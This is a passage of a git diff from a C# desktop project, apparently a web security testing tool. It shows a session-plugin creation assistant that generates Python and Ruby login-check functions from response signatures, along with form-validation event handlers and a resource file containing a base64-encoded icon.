ResponseVariableName) + { + string[] Code = new string[2]; + StringBuilder Py = new StringBuilder(); + StringBuilder Rb = new StringBuilder(); + bool LoggedInSignature = false; + if (PseudoCodeLines[0].Equals("LoggedInSignatureBegins")) + LoggedInSignature = true; + else + LoggedInSignature = false; + bool ResponseCodeChecked = false; + + Regex ResponseSignatureRegex = new Regex(@"LastResponse Code (\d{3}) (Location|Title|Body) (StartsWith|EndsWith|Has|NotHas|Regex) (.+)"); + + for (int i=1; i 0:", PropertyValuePyCode, KeywordOrRegex); + PropertyValueMatchRbCode = string.Format("{0}.index('{1}')", PropertyValueRbCode, KeywordOrRegex); + break; + case ("NotHas"): + PropertyValueMatchPyCode = string.Format("{0}.count('{1}') == 0:", PropertyValuePyCode, KeywordOrRegex); + PropertyValueMatchRbCode = string.Format("({0}.index('{1}') == nil)", PropertyValueRbCode, KeywordOrRegex); + break; + case ("Regex"): + KeywordOrRegex = KeywordOrRegex.Substring(1, KeywordOrRegex.Length - 2).Replace("'", "\\'"); + PropertyValueMatchPyCode = string.Format("re.match('{0}', {1}):", KeywordOrRegex, PropertyValuePyCode); + PropertyValueMatchRbCode = string.Format("({0} =~ /{1}/)",PropertyValueRbCode, KeywordOrRegex); + break; + } + Py.Append(" "); Py.AppendLine(string.Format("if not {0}", PropertyValueMatchPyCode)); + Rb.Append(" "); Rb.AppendLine(string.Format("if not {0}", PropertyValueMatchRbCode)); + + if (LoggedInSignature) + { + Py.Append(" "); Py.AppendLine("return False"); + Rb.Append(" "); Rb.AppendLine("return false"); + } + else + { + Py.Append(" "); Py.AppendLine("return True"); + Rb.Append(" "); Rb.AppendLine("return true"); + } + Rb.Append(" "); Rb.AppendLine("end"); + } + else + { + throw new Exception("Invalid Pseudo Code"); + } + } + + if (LoggedInSignature) + { + Py.Append(" "); Py.AppendLine("return True"); + Rb.Append(" "); Rb.AppendLine("return true"); + } + else + { + Py.Append(" "); Py.AppendLine("return False"); + Rb.Append(" "); Rb.AppendLine("return false"); + } + Code[0] = Py.ToString(); + Code[1] = Rb.ToString(); + return Code; + } + #endregion + + + #region EventHandlers + + private void AnswerTB_KeyPress(object sender, KeyPressEventArgs e) + { + if (e.KeyChar == (Char)Keys.Return) + { + e.Handled = true; + ProcessUserAnswer(); + AnswerTB.Text = ""; + } + } + + private void SubmitAnswerBtn_Click(object sender, EventArgs e) + { + ProcessUserAnswer(); + AnswerTB.Text = ""; + BigAnswerTB.Text = ""; + } + + private void ScanCustomizationAssistant_Load(object sender, EventArgs e) + { + GoToHomeMenu(); + } + + private void ParametersDescLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + string ParameterName = ParameterNameTB.Text.Trim(); + if (ParameterName.Length == 0) + { + ShowError("Parameter names cannot be empty"); + ParameterNameTB.BackColor = Color.Red; + return; + } + if (ParameterTypeCombo.SelectedIndex == 0) + { + try + { + Int32.Parse(ParameterName); + } + catch + { + ShowError("UrlPathPart parameter index must be an integer"); + ParameterNameTB.BackColor = Color.Red; + return; + } + } + + HowToUpdateParameterPanel.Visible = true; + if (ParametersAnswerAskUserOnly) + { + ParameterSourceFromResponseRB.Checked = false; + ParameterSourceFromResponseRB.Enabled = false; + ParameterSourceFromUserRB.Checked = true; + HowToParseResponsePanel.Visible = false; + UserHintPanel.Visible = true; + } + else + { + ParameterSourceFromResponseRB.Enabled = true; + ParameterSourceFromResponseRB.Checked = false; + ParameterSourceFromUserRB.Checked = false; + } + } + + private void ParameterSourceFromResponseRB_CheckedChanged(object sender, EventArgs e) + { + ParameterParseRegexTB.Text = ""; + if (ParameterSourceFromResponseRB.Checked) + { + HowToParseResponsePanel.Visible = true; + ParseParameterFromHtmlRB.Checked = true; + } + else + { + HowToParseResponsePanel.Visible = false; + } + AddParameterAnswerEntryLL.Visible = true; + } + + private void ParameterSourceFromUserRB_CheckedChanged(object sender, EventArgs e) + { + if (ParameterSourceFromUserRB.Checked) + { + UserHintPanel.Visible = true; + } + else + { + UserHintPanel.Visible = false; + } + AddParameterAnswerEntryLL.Visible = true; + } + + private void ParseParameterFromRegexRB_CheckedChanged(object sender, EventArgs e) + { + if (ParseParameterFromRegexRB.Checked) + ParameterParseRegexTB.Enabled = true; + else + ParameterParseRegexTB.Enabled = false; + } + + private void ParameterTypeCombo_KeyPress(object sender, KeyPressEventArgs e) + { + if (e.KeyChar != (char)Keys.Enter) + e.Handled = true; + } + + private void RequestSourceCombo_KeyPress(object sender, KeyPressEventArgs e) + { + if (e.KeyChar != (char)Keys.Enter) + e.Handled = true; + } + + private void UseLocationSignatureCB_CheckedChanged(object sender, EventArgs e) + { + if (UseLocationSignatureCB.Checked) + { + LocationSignatureTypeSelectCombo.Enabled = true; + LocationSignatureKeywordTB.Enabled = true; + } + else + { + LocationSignatureTypeSelectCombo.Enabled = false; + LocationSignatureKeywordTB.Enabled = false; + } + } + + private void UseTitleSignatureCB_CheckedChanged(object sender, EventArgs e) + { + if (UseTitleSignatureCB.Checked) + { + TitleSignatureTypeSelectCombo.Enabled = true; + TitleSignatureKeywordTB.Enabled = true; + } + else + { + TitleSignatureTypeSelectCombo.Enabled = false; + TitleSignatureKeywordTB.Enabled = false; + } + } + + private void UseBodySignatureCB_CheckedChanged(object sender, EventArgs e) + { + if (UseBodySignatureCB.Checked) + { + BodySignatureTypeSelectCombo.Enabled = true; + BodySignatureKeywordTB.Enabled = true; + } + else + { + BodySignatureTypeSelectCombo.Enabled = false; + BodySignatureKeywordTB.Enabled = false; + } + } + + private void LocationSignatureTypeSelectCombo_KeyPress(object sender, KeyPressEventArgs e) + { + if (e.KeyChar != (char)Keys.Enter) + e.Handled = true; + } + + private void TitleSignatureTypeSelectCombo_KeyPress(object sender, KeyPressEventArgs e) + { + if (e.KeyChar != (char)Keys.Enter) + e.Handled = true; + } + + private void BodySignatureTypeSelectCombo_KeyPress(object sender, KeyPressEventArgs e) + { + if (e.KeyChar != (char)Keys.Enter) + e.Handled = true; + } + + private void SignatureSubmitBtn_Click(object sender, EventArgs e) + { + try + { + Int32.Parse(SignatureResponseCodeTB.Text); + } + catch + { + ShowError("Invalid Response Code specified"); + SignatureResponseCodeTB.BackColor = Color.Red; + return; + } + if (FullResponseSignatureFirstPanel.Visible && !LoggedInResponseSignatureRB.Checked && !LoggedOutResponseSignatureRB.Checked) + { + ShowError("Select either Logged In Signature or Logged Out Signature"); + return; + } + if (UseLocationSignatureCB.Checked) + { + if (LocationSignatureKeywordTB.Text.Length == 0) + { + ShowError("Keyword field cannot be empty"); + LocationSignatureKeywordTB.BackColor = Color.Red; + return; + } + } + if (UseTitleSignatureCB.Checked) + { + if (TitleSignatureKeywordTB.Text.Length == 0) + { + ShowError("Keyword field cannot be empty"); + TitleSignatureKeywordTB.BackColor = Color.Red; + return; + } + } + if (UseBodySignatureCB.Checked) + { + if (BodySignatureKeywordTB.Text.Length == 0) + { + ShowError("Keyword field cannot be empty"); + BodySignatureKeywordTB.BackColor = Color.Red; + return; + } + } + if (FullResponseSignatureFirstPanel.Visible) + { + if (!(UseLocationSignatureCB.Checked || UseTitleSignatureCB.Checked || UseBodySignatureCB.Checked)) + { + ShowError("Select either Location, Title or Body signature along with Response Code"); + return; + } + } + ProcessUserAnswer(); + } + + private void SignatureResponseCodeTB_TextChanged(object sender, EventArgs e) + { + if (SignatureResponseCodeTB.BackColor != Color.White) + { + SignatureResponseCodeTB.BackColor = Color.White; + } + } + + private void LocationSignatureKeywordTB_TextChanged(object sender, EventArgs e) + { + if (SignatureResponseCodeTB.BackColor != Color.White) + { + SignatureResponseCodeTB.BackColor = Color.White; + } + } + + private void TitleSignatureKeywordTB_TextChanged(object sender, EventArgs e) + { + if (TitleSignatureKeywordTB.BackColor != Color.White) + { + TitleSignatureKeywordTB.BackColor = Color.White; + } + } + + private void BodySignatureKeywordTB_TextChanged(object sender, EventArgs e) + { + if (BodySignatureKeywordTB.BackColor != Color.White) + { + BodySignatureKeywordTB.BackColor = Color.White; + } + } + + private void AnswerTabs_Selecting(object sender, TabControlCancelEventArgs e) + { + switch (CurrentQuestionType) + { + case (QuestionTypeTextAnswer): + if (!e.TabPage.Name.Equals("TextAnswerTab")) AnswerTabs.SelectTab("TextAnswerTab"); + break; + case (QuestionTypeParametersAnswer): + if (!e.TabPage.Name.Equals("ParameterAnswerTab")) AnswerTabs.SelectTab("ParameterAnswerTab"); + break; + case (QuestionTypeRequestSourceAnswer): + if (!e.TabPage.Name.Equals("RequestSourceAnswerTab")) AnswerTabs.SelectTab("RequestSourceAnswerTab"); + break; + case (QuestionTypeResponseSignatureAnswer): + if (!e.TabPage.Name.Equals("ResponseSignatureTab")) AnswerTabs.SelectTab("ResponseSignatureTab"); + break; + case (QuestionTypeSelectOptionAnswer): + if (!e.TabPage.Name.Equals("SelectOptionTab")) AnswerTabs.SelectTab("SelectOptionTab"); + break; + case (QuestionTypeShowPseudoCode): + if (!e.TabPage.Name.Equals("ShowPseudoCodeTab")) AnswerTabs.SelectTab("ShowPseudoCodeTab"); + break; + } + } + + private void RequestSourceIdTB_TextChanged(object sender, EventArgs e) + { + if (RequestSourceIdTB.BackColor != Color.White) + { + RequestSourceIdTB.BackColor = Color.White; + } + } + + private void RequestSourceAnswerSubmitBtn_Click(object sender, EventArgs e) + { + try + { + string RequestName = RequestSourceNameTB.Text.Trim(); + if (RequestName.Length == 0) throw new Exception("Request name cannot be empty"); + if (!Regex.IsMatch(RequestName, @"^[a-zA-Z0-9\s]*$")) throw new Exception("Request name can only have letters numbers and space"); + } + catch(Exception Exp) + { + ShowError(Exp.Message); + RequestSourceNameTB.BackColor = Color.Red; + return; + } + try + { + int LogId = Int32.Parse(RequestSourceIdTB.Text); + if (LogId < 1) + { + throw new Exception("Invalid Log ID"); + } + string LogSource = RequestSourceCombo.Text; + switch (LogSource) + { + case ("Proxy"): + if (Config.LastProxyLogId < LogId) throw new Exception("Invalid Log ID"); + break; + case ("Test"): + if (Config.LastTestLogId < LogId) throw new Exception("Invalid Log ID"); + break; + case ("Shell"): + if (Config.LastShellLogId < LogId) throw new Exception("Invalid Log ID"); + break; + case ("Scan"): + if (Config.LastScanLogId < LogId) throw new Exception("Invalid Log ID"); + break; + case ("Probe"): + if (Config.LastProbeLogId < LogId) throw new Exception("Invalid Log ID"); + break; + default: + if (Config.GetLastLogId(LogSource) < LogId) throw new Exception("Invalid Log ID"); + break; + } + } + catch + { + ShowError("Invalid Log ID"); + RequestSourceIdTB.BackColor = Color.Red; + return; + } + ProcessUserAnswer(); + } + + private void ParameterNameTB_TextChanged(object sender, EventArgs e) + { + if (ParameterNameTB.BackColor != Color.White) + { + ParameterNameTB.BackColor = Color.White; + } + } + + private void ParameterTypeCombo_SelectedIndexChanged(object sender, EventArgs e) + { + if (ParameterTypeCombo.SelectedIndex == 0) + ParameterNameTBLbl.Text = "Parameter Index:"; + else + ParameterNameTBLbl.Text = "Parameter Name:"; + } + + private void ParameterParseRegexTB_TextChanged(object sender, EventArgs e) + { + if (ParameterParseRegexTB.BackColor != Color.White) + { + ParameterParseRegexTB.BackColor = Color.White; + } + } + + private void AddParameterAnswerEntryLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + string ParameterSection = ParameterTypeCombo.Text; + string ParameterName = ParameterNameTB.Text; + string UpdateFrom = ""; + if (ParameterSourceFromResponseRB.Checked) + UpdateFrom = "Response"; + if (ParameterSourceFromUserRB.Checked) + UpdateFrom = "User"; + string ParseResponseMode = ""; + string RegexString = ""; + if (ParameterSourceFromResponseRB.Checked) + { + if (ParseParameterFromHtmlRB.Checked) + ParseResponseMode = "Html Fields"; + if (ParseParameterFromRegexRB.Checked) + { + ParseResponseMode = "with Regex"; + try + { + RegexString = ParameterParseRegexTB.Text.Trim(); + new Regex(RegexString); + } + catch + { + ShowError("Invalid Regex entered"); + ParameterParseRegexTB.BackColor = Color.Red; + return; + } + } + } + string Hint = ""; + if (ParameterSourceFromUserRB.Checked) + Hint = ParameterAskUserHintTB.Text; + object[] Columns = new object[] { ParameterSection, ParameterName, UpdateFrom, ParseResponseMode, RegexString, Hint }; + foreach (DataGridViewRow Row in ParametersAnswerGrid.Rows) + { + if (Row.Cells[0].Value.ToString().Equals(ParameterSection) && Row.Cells[1].Value.ToString().Equals(ParameterName)) + { + ShowError("This parameter has already been entered. Remove old entry before adding another one."); + return; + } + } + ParametersAnswerGrid.Rows.Add(Columns); + ParametersAnswerGrid.ClearSelection(); + + ResetParameterAnswerFields(false); + EditParameterAnswerEntryLL.Visible = true; + DeleteParameterAnswerEntryLL.Visible = true; + } + + private void EditParameterAnswerEntryLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + if (ParametersAnswerGrid.SelectedRows == null || ParametersAnswerGrid.SelectedRows.Count == 0) + { + ShowError("No entry selected. Select a row before deleting it."); + } + else + { + string ParameterSection = ParametersAnswerGrid.SelectedRows[0].Cells["ParameterSectionColumn"].Value.ToString(); + string ParameterName = ParametersAnswerGrid.SelectedRows[0].Cells["ParameterNameColumn"].Value.ToString(); + string UpdateFrom = ParametersAnswerGrid.SelectedRows[0].Cells["UpdateFromColumn"].Value.ToString(); + string ParseResponseMode = ParametersAnswerGrid.SelectedRows[0].Cells["ParseResponseColumn"].Value.ToString(); + string RegexString = ParametersAnswerGrid.SelectedRows[0].Cells["RegexColumn"].Value.ToString(); + string HintText = ParametersAnswerGrid.SelectedRows[0].Cells["HintColumn"].Value.ToString(); + ParametersAnswerGrid.Rows.RemoveAt(ParametersAnswerGrid.SelectedRows[0].Index); + + ParameterTypeCombo.Text = ParameterSection; + ParameterNameTB.Text = ParameterName; + + HowToUpdateParameterPanel.Visible = true; + + if (ParametersAnswerAskUserOnly) + { + ParameterSourceFromResponseRB.Checked = false; + ParameterSourceFromResponseRB.Enabled = false; + HowToParseResponsePanel.Visible = false; + UserHintPanel.Visible = true; + } + else + { + ParameterSourceFromResponseRB.Enabled = true; + ParameterSourceFromUserRB.Enabled = true; + } + if (UpdateFrom.Equals("Response")) + { + ParameterSourceFromResponseRB.Checked = true; + HowToParseResponsePanel.Visible = true; + UserHintPanel.Visible = false; + } + else + { + ParameterSourceFromUserRB.Checked = true; + HowToParseResponsePanel.Visible = false; + UserHintPanel.Visible = true; + } + + if (ParseResponseMode.Equals("Html Fields")) + ParseParameterFromHtmlRB.Checked = true; + else if (ParseResponseMode.Equals("with Regex")) + ParseParameterFromRegexRB.Checked = true; + + ParameterParseRegexTB.Text = RegexString; + ParameterAskUserHintTB.Text = HintText; + } + } + + private void DeleteParameterAnswerEntryLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + if (ParametersAnswerGrid.SelectedRows == null || ParametersAnswerGrid.SelectedRows.Count == 0) + { + ShowError("No entry selected. Select a row before deleting it."); + } + else + { + ParametersAnswerGrid.Rows.RemoveAt(ParametersAnswerGrid.SelectedRows[0].Index); + } + } + + private void ParametersAnswerGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (ParametersAnswerGrid.SelectedRows == null) return; + if (ParametersAnswerGrid.SelectedRows.Count == 0) return; + EditParameterAnswerEntryLL.Enabled = true; + DeleteParameterAnswerEntryLL.Enabled = true; + } + + private void ParametersAnswerGrid_SelectionChanged(object sender, EventArgs e) + { + if (ParametersAnswerGrid.SelectedRows == null || ParametersAnswerGrid.SelectedRows.Count == 0) + { + EditParameterAnswerEntryLL.Enabled = false; + DeleteParameterAnswerEntryLL.Enabled = false; + } + else + { + EditParameterAnswerEntryLL.Enabled = true; + DeleteParameterAnswerEntryLL.Enabled = true; + } + } + + private void SubmitParameterAnswerBtn_Click(object sender, EventArgs e) + { + ProcessUserAnswer(); + } + + + private void SpecialOptionBtn_Click(object sender, EventArgs e) + { + AnswerTB.Text = "0"; + ProcessUserAnswer(); + } + + private void SelectedOptionSubmitBtn_Click(object sender, EventArgs e) + { + ShowError(""); + int SelectedIndex = -1; + foreach (DataGridViewRow Row in OptionsGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + SelectedIndex = Row.Index + 1; + break; + } + } + if (SelectedIndex < 0) + { + ShowError("No options selected!"); + } + else + { + AnswerTB.Text = SelectedIndex.ToString(); + ProcessUserAnswer(); + } + } + + private void OptionsGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + foreach (DataGridViewRow Row in OptionsGrid.Rows) + { + if (Row.Selected) + Row.Cells[0].Value = true; + else + Row.Cells[0].Value = false; + } + } + #endregion + + private void ShowPseudoCodeGoToMainMenuBtn_Click(object sender, EventArgs e) + { + ProcessUserAnswer(); + } + + private void RequestSourceNameTB_TextChanged(object sender, EventArgs e) + { + if (RequestSourceNameTB.BackColor != Color.White) + { + RequestSourceNameTB.BackColor = Color.White; + } + } + } +} diff --git a/Iron/SessionPluginCreationAssistant.resx b/Iron/SessionPluginCreationAssistant.resx new file mode 100644 index 0000000..aaebfc2 --- /dev/null +++ b/Iron/SessionPluginCreationAssistant.resx @@ -0,0 +1,1946 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + Assign a name to this request based on what this does. Eg: 'login request' or 'login csrf token getting request' etc. +This name is used to refer to this request in further questions asked and in the traces. + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + + + 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 + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwHRl0/M0ZdPqtGXT6rRl0/M0ZdPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPU9GXT//Rl0+q0ZdPqtGX + T//Rl09SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwPRl0/V0ZdP/9GX + T6rRl0+q0ZdP/9GXT9TRl08DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPXdGX + T//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwXRl0/c0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP3NGXTwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0ZdPZ9GXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl0//0ZdPZwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTwjRl0/j0ZdP/9GXT//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT//Rl0/j0ZdPCAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPPdGXT//Rl0//0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP/9GX + T//Rl089AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNNTEtR0ZdP0tGXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GX + T//Rl0//0ZdP0U1MS1JLS0sSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhUtLS9PPlk9b0ZdP/9GXT//Rl0//0ZdPqtGX + T6rRl0//0ZdP/9GXT//Olk9bS0tL1UtLS4QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNLS0vyS0tL/1FOS1HRl0/c0ZdP/9GX + T//Rl0+q0ZdPqtGXT//Rl0//0ZdP21BOS1VLS0v/S0tL8ktLSxMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhktLS/9LS0v/S0tLxdGX + T2bRl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl09mS0tLyktLS/9LS0v/S0tLhgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxRLS0vyS0tL/0tL + S/9LS0v/WVNLRtGXT+XRl0//0ZdPqtGXT6rRl0//0ZdP5FdSS0xLS0v/S0tL/0tLS/9LS0vyS0tLFAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLh0tL + S/9LS0v/S0tL/0tLS/9LS0u30ZdPXNGXT7HRl0920ZdPdtGXT7HRl09cS0tLv0tLS/9LS0v/S0tL/0tL + S/9LS0uHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + SxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9jczG4u3c1uZN3NbmTdzW5k3c1uZNbHbC9LS0vfS0tL/0tL + S/9LS0v/S0tL/0tLS/NLS0sUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLiUtLS/9LS0v/S0tL/0tLS/9LS0v/TExLXt3NbsrdzW7/3c1u/93Nbv/dzW7/3c1uy0xM + S2ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9vWx2xN3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/08RsUUtLS+BLS0v/S0tL/0tLS/9LS0v/S0tL80tLSxUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLiktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLYd3NbsfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7KTExLZ0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLiQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxZLS0v0S0tL/0tLS/9LS0v/S0tL/0tLS93UxWxK3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/Sw2tRS0tL4EtLS/9LS0v/S0tL/0tLS/9LS0v0S0tLFgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLi0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLY93N + bsPdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbspMTEtoS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0uLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v0S0tL/0tLS/9LS0v/S0tL/0tL + S9/SxGtH3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/9LDa1FLS0vhS0tL/0tL + S/9LS0v/S0tL/0tLS/RLS0sWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLjEtLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLZt3Nbr/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uyUxM + 